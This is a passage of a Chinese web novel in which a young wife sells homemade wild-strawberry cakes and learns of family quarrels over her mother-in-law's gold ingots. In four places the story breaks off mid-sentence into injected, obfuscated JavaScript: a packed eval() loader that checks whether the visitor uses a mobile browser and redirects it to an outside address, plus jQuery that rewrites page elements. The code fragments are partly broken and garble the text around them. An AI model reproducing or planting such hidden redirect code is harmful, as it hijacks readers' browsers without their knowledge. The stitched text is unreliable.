她吸了吸鼻子，奋力向河沟对面走去。 忙碌了一上午，两人摘了满满一篮子的野草莓。 回到家里，湘云动手做法，四郎在院子里清洗野草莓。 到了下午，湘云就拿石头碾子，把洗干净的野草莓碾压成草莓泥。 见四郎又要上来帮忙，湘云嗔道：“读书去，这里不需要你！” “娘子，我怎么忍心让你一人劳累？再说这次的草莓糕做好了，肯定能卖个三四天，我也就只忙这一天而已。” 见他坚持，湘云也只得依从了他。 白面粉是昨儿四郎去板桥镇上买好了的。 湘云动手和了一大盆的面，又放了碱水发面。 等待发面的时间里，她就用她娘教的方法调制草莓馅，用白糖，香料等物严格按照份例调好，务必使得馅料香香甜甜。 发面的火候也要到位，还有蒸制糕点的时间，也要点了香，严格的按照香燃烧的时间熄灭火焰。 “不要小看这些小细节，为什么我娘做出来的糕点那么好吃？跟别人家的不一样？那就是因为细微的小事。这些小事缺了哪一样，都做不出那样的味道。”湘云认真地对四郎道。 一时，面发好了，湘云就开始将面擀得薄薄的，然后涂抹上调好的草莓泥，再一层层卷起来，切成手掌大小的方块，放进了蒸笼里。 四郎就负责在灶下烧火，把柴火烧得旺旺的。 两口子一边忙活着，一边拉家常。 “你说，二嫂家在糯米面上吃了亏，会不会记恨大嫂？”湘云问丈夫。 四郎道：“记恨是肯定有的，可是，他们也不能把大哥大嫂怎么样，二哥读书读得有些呆了，二嫂又把钱看得太重，遇见什么事情，还要仰仗大哥帮他周旋，所以，有些亏，他们吃了，也就是吃了。” “那照你这样说，大嫂一辈子，就这么欺负二嫂到死了，他们这次没动静，下次，不还是会往死里欺负二嫂家吗？”湘云有些担忧地说。 “不会，也就这些鸡毛蒜皮的小事情，让他们吃点暗亏，真正遇见事，大哥还是会帮的。”四郎笃定地道。 “你的意思，你大哥还是顾念兄弟情分的？” 四郎微微一笑：“这倒是其次，主要是大哥的两个儿子，读书都有些愚笨，可是二哥家的松哥儿却是个聪明的，孩子以后大了，谁也说不准会怎么样，所以，大哥大嫂也不敢把事做绝了。” 湘云点了点头，觉得是这么个理儿。 谁知道姜海姜河长大以后，会不会依靠姜松呢？ 两口儿说话间，蒸笼上的热气，就一点点地冒了上来。 湘云笑道：“草莓糕熟了！” 她揭开蒸笼，让热气散尽，用筷子夹起了一块，放进一个碟子里，连筷子递给了四郎。 四郎接了过来，用筷子夹起，先是吹了几下，然后咬了一口。 入口松、软、香、甜，竟是生平从未吃过的美味。 他又一连吃了几口，将整块糕吃完，方意犹未尽地说：“娘子，你的手艺，可真是绝了！” 湘云又拿筷子夹起一块放进他的碟子里，笑道：“自己家做的，管饱，咱们两先吃够，剩下的我再拎去卖。” 说完，她自己也拿了一个碟子，夹起一块吃了起来。 四郎一口气吃了四块，才饱，湘云吃了两块就饱了。 然后，她取出三个大一些的碟子，装满了三碟草莓糕，对四郎说：“我要去镇上卖糕，你把这三碟糕点分别送给你三个哥哥家，然后你就看你的书去吧。” 四郎点了点头。 湘云就取出早已准备好的洗得干干净净的竹篮，在篮子底部铺上一块白布，将剩下的糕点一股脑都放进了篮子里。 她一边放一边数，一共有二十五块野草莓糕。 野草莓是个稀罕物儿，做糕点更是要费许多功夫，街上的肉沫大烧饼一文钱一个，那这草莓糕要卖多少钱一块呢？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170007|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>肯定不能跟肉沫烧饼一样的价格，毕竟，她最终的目标，是清流镇上的大户人家，定价本该高一点。 干脆，就卖两文钱一块吧，人们也都吃得起。 毕竟糕点是零食，不是天天要吃的，而肉沫烧饼是饭，顿顿都要吃。 所以，两文钱的定价，还是合理的。 她用一块厚厚的干净的白笼布把篮子盖得严严实实，然后拎起篮子，就出了门。 四郎有些不放心，跟在后头。 湘云道：“放心吧，镇上离咱们村才两里多路，天色还早呢，我一个人能行的。” 四郎叮嘱道：“那你天黑之前，可一定要回来啊，不然我实在担心。” 湘云点了点头。 四郎又道：“不管卖完卖不完，天晚了，务必要回来，剩了就剩了，可记得了？” 湘云有些好笑，又有些感动：“行了，我又不是三岁的孩子，要你这般叮嘱，你回去送糕点吧。留神看婆婆爱不爱吃，爱吃的话，我下回给她多送些。” 四郎这才有些依依不舍地看她去了。 到了镇上，正式晌午时分，街上行人倒也不断。 湘云拉住一个挎着菜篮的妇人：“大嫂，请问，王尚书的弟弟，王员外府邸在哪里？” “就在南头那条小巷子里，门口有两个石狮子的，就是王员外家了。”那妇人指了指方向。 湘云道了声谢，就往南头巷子里走去。 到了巷子里，果然看见密密麻麻的房屋间，有一坐大宅门。 朱红色的门楼上，高高挂着几个红灯笼，匾额上写着大大的“王府”两字，大门两边分别蹲着一个威风凛凛的石狮子。 湘云暗暗点头。 她走到王府附近的几户人家面前，开始吆喝起来：“野草莓糕，新鲜出锅的野草莓糕来，两文钱一块。” 刚吆喝没几声，旁边一家的木头门吱呀一声开了。 门里走出来一个穿着藕荷色夹袄的少年妇人，那妇人问：“这位姐姐，是你卖野草莓糕的吗？” 湘云点了点头。 妇人笑道：“小时候在山里吃过野草莓，却不知这野草莓糕是什么味道，这是两文钱，我先买一块尝尝。” 说完，她递给了湘云两文钱。 湘云收了，揭开白布，用一双干净的筷子夹了一块草莓糕给妇人。 那妇人接过草莓糕，咬了一口，随即笑道：“味道还真不错，再来两块吧。”说完，她又从衣兜里取出四文钱，给了湘云。 初战告捷，湘云心里很是高兴。 于是忙收了钱，夹了两块草莓糕递给了她。 妇人走后，湘云又往前走了几十步，继续吆喝：“野草莓糕，新鲜出锅的野草莓糕来，两文钱一块。” 这次，又出来两个中年妇人，都是说要买给自己的孩子吃的。 她们一人买了两块，就回院子里了。 然后，湘云继续往前走，吆喝着叫卖，她就是要整条巷子的人，都夸自己的草莓糕好吃，这样，自然而然就会传到王府的人的耳朵里了。 16. 第二次叫卖 早春的天气，到了傍晚，就会有明显的凉意。 眼看太阳就快落山了，湘云打开自己的篮子，数了一数里面剩下的草莓糕。 还剩下五块。 不过，湘云已经很满意了。 她卖掉了二十块草莓糕，每块两文钱，一共得了四十文钱。 昨天四郎去买了一小口袋白面，这袋白面花了四文钱，自己之前买的香料花了五文钱，但是香料起码能用十次，可以忽略不计。 野草莓是自己和四郎上山采的，不用本钱，柴是四郎上山砍的，也不用花钱买，自己做糕的功夫，也是自己的，不用花钱。 也就是说，这次做草莓糕，除了四郎和自己吃了六块，送了三大碟子给四郎的三个哥哥之外，另外还得了四十文钱。 本钱就是半袋白面，两文钱。 净赚38文钱！ 她低头看了看篮子，里面还有四块草莓糕，晚上再煮点玉米稀饭，一顿晚饭就解决了！ 湘云当然高兴了！ 看来，做生意这条路，还是走对了啊！ 四郎让她早些回家，不然天黑了，他不放心。想到这里，湘云就走出了那条巷子，急匆匆往家里赶去。 刚出了板桥镇，就看见四郎从那条官道上迎面走了过来。 “你怎么来了？”湘云有些诧异。 “天色晚了，我不放心你一个人孤身回家。” 湘云心里暖暖的，嘴上却说：“你也不在家里好好温书。” “我已经看了一下午书了，头都看疼了，出来透透风也好。”四郎说着，就把湘云的竹篮接过来，夫妻二人边走边聊天。 “我把那三碟草莓糕送给了三个哥哥嫂嫂，她们都夸你手艺好呢。” “是吗，那婆婆喜欢吃吗？” “娘可爱吃了，一个劲儿问是怎么做出来的，好让大嫂跟着学。” 湘云笑道：“不用大嫂学，我每次做糕，你都送一碟子过去，不就成了。” 四郎点了的点头：“今天收获如何？” “挣了38文呢。” 四郎一愣：“全卖光了？” “没有，还剩下五块，正好回去我们做晚饭。” 四郎微微一笑：“我们两人一天开销不到十文钱，这38文，够我们活四天了。” 湘云道：“是够活四天，可是，只够粗菜淡饭地活四天，却不够丰衣足食地活四天呢。” 四郎仔细一想，不由得连连点头：“一只鸡就要十几文钱，我们要天天有鸡鸭鱼肉吃，那才叫好日子。那一天的开销，起码要二三十文，今天挣的钱，还不够我们过两天好日子的。” “没关系，今天挣不到，不等于明天挣不到啊！” “娘子，你打算什么时候，去找你表姨母？” 湘云轻声道：“当然是要等到我的草莓糕，在巷子里打出了名气，人人都知道我的草莓糕好吃，才能去找表姨母。” 见她一幅胸有成竹的模样，四郎就道：“辛苦你了，娘子！” 湘云抿嘴笑道：“你也辛苦了，以后，你可就要多上山砍柴了，没有柴，我根本做不了糕啊！” “那乘着野草莓山上还有，明儿咱们赶紧再去采。”四郎道。 湘云就说：“你不必急，野草莓没有了，还有野桃，野樱桃，接着还有杨榴，春天里山上的野果多着呢。” “是的，夏天还有蔷薇果，□□果，秋天有八月楂山里红，野山楂，只有到了冬天，山上才会没有野果。”四郎兴奋地道。 “我家的糕点，各色各样，应有尽有，只要名气打响了，就可以往做大户人家的生意……”湘云缓缓道。 四郎点了点头，又道：“今日，我送糕点的时候，在门口听见大嫂跟娘争吵了。” “哦？吵的什么？” 四郎道：“大嫂想开个店铺，售卖她编制的那些器物，问娘要本钱。” 湘云不由得一楞：“怎么？婆婆手里有钱？” “应该——是有点吧。”四郎吞吞吐吐地道。 湘云一听，就有些不高兴了。 怎么，亲娘手里分明有钱，还让儿子自己借钱娶媳妇？这是哪门子的道理？ 她们老陆家养大一个女儿不容易，给了老姜家，日后是要伺候婆婆汤药的，婆婆当然应该花钱娶媳妇！ 没有钱是一回事，有钱故意不花，那可是另外一回事了。 这不是欺负人么！ 想到这里，湘云不做声了，她低头走路，再也不理丈夫。 四郎何等聪明之人，自然猜到妻子的心思。 他自知理亏，只好跟在妻子后头，乖乖地回家。 第二天上午，夫妻二人做了些面条，就着咸菜吃了，接着上山，去采野草莓。 湘云心里有气，始终闷头不理丈夫。 四郎倒也知趣，只是默默干活。 见湘云走得气喘吁吁，四郎有些心疼，就说：“娘子，咱们歇息一下，我带得有水，你先喝一点。”说完，他就把自己身上挂的水囊递给了湘云。 湘云一声不坑地接过，喝了几口，就还给了四郎。 四郎小心翼翼地道：“娘子，我娘也是没法子了，她跟着大嫂过活，始终是要顾及大嫂。” 湘云冷冷地道：“那当初分家的时候呢？为什么你三个哥哥都有十五亩地，只有你分得五亩？” “那是大嫂和三嫂说，我一个人吃饱全家不愁，三个哥哥拖家带口的……”四郎低了头，说话的声音越来越小。 “一人吃饱全家不愁？难不成她们准备让你打一辈子光棍了？不想让你娶妻生子了？”湘云气得眉毛都竖了起来。 四郎笑道：“他们说我考上秀才以后，就能做馆挣钱了，所以五亩地也就够了。我当时想着，也是这个道理，与其在自己兄嫂身上下功夫争斗，不如多花精力读书，将来自有我一番前程。” 湘云哼了一声。 四郎到底是个读书人，书呆子大多粪土金钱，迂腐而不精明！ 湘云可不是书呆子！ 她暗，这事，可不能就这么算了！ 两口子又摘了满满一篮子野草莓，不到中午，就满载而归了。 一上午奔波辛苦，湘云摊了两锅鸡蛋饼，就着青菜汤饱饱地吃了，就开始干活。 碾草莓泥，合面，劈柴……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170008|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 忙了一个多时辰，一大锅热气腾腾的草莓糕又蒸好了。 湘云数了数，这次要多一些，因为昨天送了三碟子给三个哥嫂，自己和四郎又吃了六块。 所以，这次篮子里一共装了五十二块草莓糕。 “娘子，你装那么多去，能卖完么？”看着满满一篮子草莓糕，四郎有些疑惑。 湘云点了点头。 “可是，昨天你装了二十五块去，卖到天都快黑了，还剩五块，那今天，你怎么就有把握能把这五十多块都卖掉呢？”四郎发出疑问。 湘云说：“我自有办法！” 说完，她拿起两块草莓糕，放在案板上，用菜刀切成四四方方的小块，大约切了二十块左右，放进一个碟子里，再拿一双款子，将碟子和筷子都放进了篮子里。 然后，她就盖上白布，开始出发了。 到了镇上，依然是南头的那条小巷子，湘云这一次，已经有了经验。 她不再急着叫卖，而是等到日头再西偏一些，那些卖菜卖豆腐豆芽之类的小商贩纷纷出摊的时候，再来叫卖。 她坐在一个僻静地方的干净石头上，看着来来往往的行人。 眼看巷口小商贩多了来，前来买菜的人也多了起来，她才起身，将篮子放在一个显眼的地方。 “野草莓糕来，香甜好吃的野草莓糕，先尝后买，先尝后买。” 她的声音又脆又亮。 瞬间，那些拎着菜篮子出来买菜的少妇和大妈们，都纷纷朝她看过来。 湘云又喊了几嗓子，这下，人们都听清楚了。 于是，几个大妈围了过来：“姑娘，这叫啥？野草莓？” “是的，大婶，我做的野草莓糕，你可以先尝一小块，好吃了再买。” 说完，湘云掀开白布，将那碟子切碎的草莓糕取了出来。 然后，她用筷子夹子一小块，放进那个询问的大妈手里：“大婶，你先尝一口，不好吃可以不买。” 那大妈点了点头，拿起草莓糕，放进了嘴里。 然后，她就笑眯眯地道：“哎呦，还真好吃，又香又软的。姑娘，给我来两块，我带回去给我孙子吃去。” 其余几个人，也都接过湘云递过来的小块糕点，品尝了起来。 尝过之后，纷纷都说好吃。 又有两人掏钱各自买了两块。 只有一人面露难色，湘云知道，那人家里一定很困难。 于是温言道：“大婶，不喜欢吃，不买也没关系，本就是不要钱给你们品尝的。” 那人放露出笑容，转身走了。 湘云继续叫卖，这种试吃的效果非常好。 买菜的妇人来了一拨又一拨，总有几个人被她的叫卖声所吸引，总有几个人过来试吃。 当然，肯定有不买的。 可是，大部分的人，在吃过之后，还是掏钱买了。 不到一个时辰，湘云篮子里的草莓糕就卖得干干净净。 而昨天买的那二十块，硬是花了两个多时辰。 看来，做任何事情，都是有诀窍的啊！ 只要用心摸索，就一定会越做越好。 17. 粉丝烧鸡 篮子见底的时候，湘云抬头看了一眼太阳，只见太阳还老高老高的，离天黑还早着呢！ 一百文钱，就这样到手了，扣掉那半口袋白面钱，赚了98文。 湘云的心里，雀跃不已。 98文虽然不多，可是，一天98文，十天980文，那个蒸笼还有空隙，自己再多放两块糕，就等于十天一千文钱。 一千文钱，就是一两银子，一个月就是三两银子啊！ 当然，刮风下雨的有时候会有意外，可是，那也耽误不了几天，一个月总有二两多银子可以挣。 老天爷啊，她终于可以养活自己了，太好了！ 这样下去，欠王先生的那十五两银子，很快就会还清。 湘云越想越高兴，想着自己和四郎也两天没吃什么好东西了，于是就来到菜摊前，想买点什么菜，晚上做些好吃的庆祝一下。 虽然是条小巷，可是，菜色却齐全。 鸡鸭鱼肉，各色蔬菜水果，应有尽有。 湘云想起上次回娘家的时候，在餐桌上，四郎似乎喜欢吃她娘做的炖鸡。 正好，自己也爱吃鸡，于是就来到卖鸡的农人面前。 “这位姑娘，糕点卖完了？挣的钱买鸡吃啊？”卖鸡的农人显然是个机灵人。 湘云点了点头，用手指了指一只肥壮的大公鸡：“把这个给我称一称。” 农人笑容满面地称好：“三斤二两重，一共二十四文钱。” 湘云摸出铜钱，数了二十四枚，递给了农人，拿了鸡就走。 突然又想起，大公鸡得有烩头，烩什么好呢？ 干脆，就烩粉丝好了。 于是又来到卖干货的摊子前，花三文钱，买了二斤粉丝，将粉丝和大公鸡一起放进篮子里，拎着就回了家。 一路上，只觉春风拂面，柳丝轻舞，路边的野花也开得艳艳的，一切都是那么令人舒畅。 回到家里，推开院门，却见四郎还坐在堂屋前的廊檐下提笔写字。 见她回来了，不由得有些意外：“这么早，都卖完了吗？” “全卖完了，挣了98文钱！” 四郎停下了笔，看了她一眼，那眼神里，有肯定，也有赞赏。 湘云从篮子里取出大公鸡，笑道：“这个，交给你了，你去杀鸡拔毛，我去园子里拔葱拔蒜，咱们今晚大公鸡烧粉丝吃。” 四郎站起身来，接过了公鸡，笑道：“这是我的拿手好戏。” 这时候，外面有人敲门：“四弟妹在家么？” 是姜三嫂的声音。 湘云应道：“在家呢，三嫂，快进来。” 只见姜三嫂手里端着一碟子花生米走了进来，笑道：“四弟妹，这是我做的糖炒花生米，送给你尝尝。” 本地风俗，亲朋邻里相处，若是别人用器物装了东西送给你，你还器物的时候，也不能空着。 湘云忙伸手接过碟子，连声道谢。 同时捏起一粒花生米放进嘴里，入口又香又脆又甜，不由得赞道：“三嫂，你这花生米是怎么炒出来的，这功夫可不赖呢。” 姜三嫂笑道：“居家过日子，大多都有两个自己的拿手绝活吧，大嫂的红糖糍粑我就做不出来。” 湘云听了，连连点头，暗想，不知二嫂的拿手绝活是什么。 “弟妹呀，晚上闲来无事，你来我家做针线，拉家常，如何？”姜三嫂主动发出邀约。 “好啊，正好，晚上四郎要读书，我不想吵到他，只愁没地方去呢！”湘云欣然道。 三嫂走后，四郎把宰好洗净的公鸡拿进厨房。 湘云取了菜刀，一边剁鸡，泡粉丝，一边吩咐四郎：“你去烧点开水，我好给鸡肉焯水。” 四郎点了头，钻进灶下烧火。 他问：“三嫂找你有事么？” “送了咱们一碟子糖炒花生米，还约我晚上去她家做针线。” 四郎笑道：“无事不登三宝殿，看来，三嫂又要生事了。” 湘云就问：“那你觉得，会是什么事呢？” “什么事？左不过是家里的事情罢了，我要没猜错，跟大嫂要我娘的家底有关系。” 湘云沉吟道：“晚上去了就知道了。” 四郎之前上街买的米还有不少，湘云将米饭煮上，再剁好的鸡肉放进烧开的水里，过了一会捞出来晾干水分，下锅翻炒，放各种调料，烧烂之后再将泡好的粉丝放进锅里，不一会，厨房里就飘满了鸡肉和山芋粉的香味。 随后，湘云就把一大海碗鸡肉烩粉丝端到了堂屋的饭桌上。 四郎坐到桌边，定睛一看，只见那粉丝油亮油亮的。他拿起筷子，拨拉了一筷子粉丝放进嘴里，软软糯糯，鲜美无比，感情，那鸡肉的香味，全在粉丝里了。 湘云装了两大碗米饭，两口子都饿了，就着那满是红亮汤汁的粉丝，还有软烂的鸡肉，都将米饭刨了个底朝天。 一海碗鸡肉烩粉丝，也差不多光了。 摸着吃得饱饱的肚子，湘云心满意足地想，光是一天吃鸡，还是不够的，自己要每天都吃上自己喜欢的东西，这日子过得才有意思呢！ 继续努力，一切，都会有的！ 洗了锅碗，看看天色已经黑透了，想起三嫂之约，湘云解了围裙，跟四郎说：“我去三嫂那里了。” 说完，她就拿起绣花绷子，走出了院门。 此时，天上一轮新月挂在树梢，天边有寥落的星辰，草丛里有虫子在唧唧鸣叫，小村的春夜，静谧而美好。 湘云穿过村里的竹林，来到了姜三郎的家里。 姜三郎的家是一个泥巴糊成的小院子，小小三间房舍，两间厨房。 四郎曾经跟她说过，姜三郎老实巴交，却极为能吃苦，农忙之余，去镇上找活干，专干重活。再加上姜三嫂也是个勤劳的人，干活也麻利，天天织布卖，她还种很大一个菜园，时不时地去板桥镇上卖些瓜果蔬菜，所以，家里也过得颇为殷实。 至于姜二郎家，因夫妻两人都是性子较弱之人，尤其是姜二郎，手无缚鸡之力，十五亩地种得实在辛苦。姜二嫂帮他种地之余，还要伺候自己瘫痪在床不能行走的老娘，家里过得就贫困些。上次争论糯米面之时，湘云就看见姜二嫂的衣服上，打着补丁。 敲开姜三嫂家的院门，只见姜三嫂笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187795|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容满面迎了上来。 到了堂屋，只见姜三郎正在桐油灯下搓麻绳，小侄女姜云坐在父亲身边打盹。 见湘云来了，姜二郎就笑道：“弟妹来了？你跟你嫂子说话去，我把云儿哄睡了，去厨房搓去。” 湘云道：“三哥，耽误你干事了。” “没事，你嫂子就爱跟人聊天。” 姜三郎抱着女儿走后，姜三嫂也把自己的绣花绷子拿出来，妯娌二人，就对着桐油灯绣起花来。 “弟妹啊，你有没有听说，大嫂近来跟婆婆吵得厉害？”姜三嫂是个爽利人，没有太多的废话。 “哦？这我倒是没有听说呢，那她们究竟在吵些什么啊？”湘云不动声色地问。 姜三嫂道“大嫂不是有个编制器物的手艺吗？她想在板桥镇上开个店铺。” “三嫂，在板桥镇上开个店铺，恐怕得不少钱吧？” 姜三嫂道：“光是租金，一年就要五十两银子，店里总要置办些器物家伙吧，没有六七十两白银，怕是开不了这个店。” 六七十两银子，自己一个月挣二两多，不吃不喝地存着，也要存三年。 这个店，确实不容易开啊！湘云心里暗暗感叹着。 想到这里，她就说：“大嫂手里，恐怕没有那么多钱吧？” 姜三嫂微微一晒：“自然是没有，所以她要想办法啊。” “什么办法？” “找婆婆要呗？” “婆婆手里，能有多少钱啊？”这个问题，湘云倒是发自内心地问。 姜三嫂冷冷一笑：“你可别瞧不起婆婆，婆婆手里，可都是金元宝呢！” 湘云吃了一惊。 金元宝？ 能称得上元宝的一般都是十两，十两金子，不就是一百两银子了？ 都是金元宝？那就是说，不止一个金元宝？ 看出了她眼神里的疑问，姜三嫂自动贡献答案：“婆婆手里，可是一共有五个金元宝呢！” 那就是五百两银子啊！ 对于一个庄户人家来说，那可是一笔巨大的财富。 既然如此，自己成亲的时候，婆婆还能一毛不拔？ 想到这里，湘云气不打一处来。 姜三嫂显然看出了她的情绪，缓缓道：“你们成亲的时候，不是婆婆不给钱，而是大嫂不许！” “大嫂凭什么不许？大嫂不许，婆婆难道就不给了？”湘云不可思议地道。 姜三嫂哼了一声：“公公临终时有交代，那些东西是祖传的，不到万不得已决不能给儿孙。所以，分家的时候，大嫂才拼了老命，去争夺婆婆啊！” “那婆婆就愿意跟她了？” “婆婆是个软耳根，大哥又是长房，再加上族长偏向大哥，几下里一凑，婆婆就跟了大哥过了。”姜三嫂缓缓道。 湘云皱眉：“就算婆婆跟了大哥过，那五个金元宝乃祖传之物，总不能说都给了她吧？” 姜三嫂叹了口气：“谁说不是呢！我也觉得婆婆不会这么偏心的。可是，谁知道大嫂会用什么法子对付婆婆呢！” 说完，她看了一眼湘云，就转移了话题。 18. 初见三姑姐 第二天上午，夫妻两人又去山里采野草莓。 四郎就问湘云：“昨儿你回来得晚，我见你困倦，就没问你，三嫂叫你去聊天，可跟你说什么？” 湘云将一把野草莓扔进篮子里，笑道：“还真被你说中了。” “怎么，真是因为大嫂找娘要钱的事情？” 湘云道：“婆婆手里，真的有五个金元宝么？” 四郎脸色一呆，没有回答。 “四郎，你我夫妻一心，日子才能过好，你都不跟我说实话了，那日子还过什么过呢？” 四郎闻言，这才点了点头。 “是的，我娘手里，是有五十两金子，那是我爹年轻的时候，无意间救过一个过路客商的命，那个客商为了答谢他，就给了五个金元宝。” 湘云缓缓道：“那分家的时候，为什么不把这五个金元宝给分了？” “只因我爹临终前，曾有遗言，这些金子，要留给我娘养老。舅舅们的意思，也是等到我娘百年以后，再分。” 湘云哼了一声：“既然分家的时候，说好了等婆婆去世的时候再分，拿大嫂现在要这些钱做什么？” “大哥大嫂的为人，你也该看出来了，他们分家的时候拼命把娘争过去，不就为那些金子吗！”四郎晒道。 “分家的时候，你年纪尚小，又无妻室，婆婆应该把他们三个分出去，带着你过才是啊？”湘云的声音高了起来。 四郎低了头，一声不吭。 湘云冷笑道：“就算不带你过，你娶妻的时候，婆婆手里分明有钱，就算公公遗言，金子不能动，那婆婆又不老，整日在大哥家田间地头劳作，总该出些钱吧？” 四郎叹了口气，依然没说话。 过了半晌，他方道：“娘子，我当时一门心思都在读书上，不想与哥哥们相争……” “你越是不争，她们就越是欺负你！”湘云冷笑了一声。 四郎有些无奈地道：“娘子，我一个书呆子，的确在这方面不够精明。” “你不精明，没关系，还有我呢！”湘云冷冷地道。 “娘子，那你——难不成有什么打算？” 湘云想了一想，方答：“静观其变吧，三嫂之所以找我说这个事情，肯定是有用意的，先看看你三嫂怎么说。” “那我三嫂跟你说这个事的时候，你是怎么回答她的？”前面有一个高坡，四郎先登了几步，接着又伸手去拉湘云。 “你三嫂是个聪明人，自然不会那么早把话说破。她只是跟我说了这个事，自己什么都没说，只是观看我的神色。肯定是想看看我会怎么做吧。” 四郎蹙眉：“此事，我们家与二哥三哥家利益一致，大哥大嫂想要独吞家产，的确不地道。” 湘云笑道：“三嫂既然跟我说了，肯定也会让二嫂得知此事，我看，二嫂是个沉不住气的。” “是的，这两天，你二嫂肯定要来我们家还碟子，到时候，我再探问一下她的口气。” 说完，两人继续闷头采摘野草莓。 因家里的蒸笼只能装那么多块草莓糕，所以，两口子采够了，就回了家。 稍事歇息之后，就动手做午饭。 饭后，又开始忙活做糕了。 这时候，院门口响起一个声音：“四弟妹在家么？” 正是姜二嫂的声音。 湘云与四郎对视一眼，都忍不住微微一笑。 正是说曹操，曹操就到了呢。 只见姜二嫂端了一个碟子，碟子里却是酸萝卜。 “弟妹，我吃了你的草莓糕，也没什么好的给你，就给你一碟我自己腌的酸萝卜吧。”姜二嫂笑嘻嘻地将碟子递给湘云。 “酸的啊？我可喜欢吃酸的了！”湘云立刻上前接住了碟子。 “你喜欢吃酸的？莫不是有喜了？”姜二嫂立刻笑问。 湘云忙道：“二嫂，我这才过门几天啊，怎么可能呢！” “进门喜也是有的，弟妹啊，你这模样，一看就是好生养的。” “哎，就我们这家境，有了孩子，也养不活啊！”湘云开始试探姜二嫂。 果然，只见姜二嫂哼了一声：“弟妹啊！他们老姜家，不是没有钱，只是钱到不了我们这些人手里罢了。” “二嫂，你这个话是怎么说的？” 姜二嫂叹了口气：“婆婆手里，可是有五个金元宝呢，眼看，是都要给老大家了。” “二嫂，婆婆手里的东西，不能说都给老大家吧？”湘云又道。 “弟妹，你是不知道，大嫂是多么的坏，她想干的事情，就没有干不成的。分家的时候，她和族长串通好了，要独占婆婆，就是想要独占这份家产啊！”姜二嫂越说越激动。 湘云垂下眼帘：“二嫂，那这事，你可跟三婶商量过没有？” “你三嫂只是把这事告诉我了，却没跟我商量该怎么办。” 湘云眼珠转了一转：“二嫂，咱们妯娌三个，你最大，我和三嫂在这件事上，该听你的，你说怎么办是好？” “我——我也不知道怎么办是好啊，反正，不能让她得逞啊！”姜二嫂叫道。 “那要不，今儿晚上，我和三嫂都去你家，咱们妯娌三个，好好商量下怎么办？”湘云轻声道。 姜二嫂想了想，咬牙道：“好吧，我回头就去约你三嫂，晚上我家里见。” 姜二嫂走后，四郎叹了口气：“树欲静而风不止，咱们家看来，又一场暴风雨了！” 湘云白了他一眼，没有说话。 到了下午，湘云照例拎着竹篮去板桥镇卖草莓糕。 还是南头那条小巷子。 这一次，她有了经验，也就不急了，而是坐在巷口一块干净的石头上，先休息一会，看看风景再说。 这条小巷很长，两边都是密密麻麻的人家，间或有朱红大门，看来，里面住得富户也不少。 这时候，从巷子里的一户高大门楼里，走出来两个轿夫，抬着一顶青布小轿，往巷口走来。 湘云知道，这一定是哪个大户人家的小姐太太，出门拜访客人或者回家。 正看着，突然又传来一阵嘈杂声，湘云扭头一看，见是四五个中年妇人一起结伴走过，每个人手里还拿着一个花手帕。她知道，这些妇人一定是去谁家吃喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187796|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒的。本地风俗，成亲的人家会给贺客每人一方花手帕。 于是她就吆喝起来：“野草莓糕来，先吃后买！” 那群妇人却当没听见一样，走过去了。 湘云微微有些失望。 突然，却见那顶青布小轿在她面前停了下来。 轿帘一掀，轿子里钻出一个二十三四岁的少妇。 这少妇身穿一见桃红色绸衫，鬓边插着金步摇，脖子上挂着一串明珠，一张极为清丽的脸上薄施脂粉，看着就让人很是舒服。 少妇来到湘云面前问：“你这篮子里装的，就是野草莓糕吗？” 湘云点了点头。 “那给我包两块，我带回家去吃！”少妇说完，看了一眼身边的一个轿夫。 那轿夫极为机灵，急忙从衣兜里摸出一把铜钱：“多少钱一块？” “两文钱！” 轿夫给了她四枚铜钱，湘云夹了两块草莓糕，递给了少妇。 少妇微微一笑，从袖子里取出一方月白色的手帕，把手帕摊开，接住了湘云递过来的草莓糕。 湘云看见，那月白色的手帕上，用浅绿色的丝线绣了一个姜字。 原来这少妇跟四郎一个姓。 少妇包了草莓糕，上了轿子，两个轿夫抬着去了。 又过一会，巷口又陆续来了许多卖菜的小商贩，那些少妇大婶们，又开始拎着篮子来买菜了。 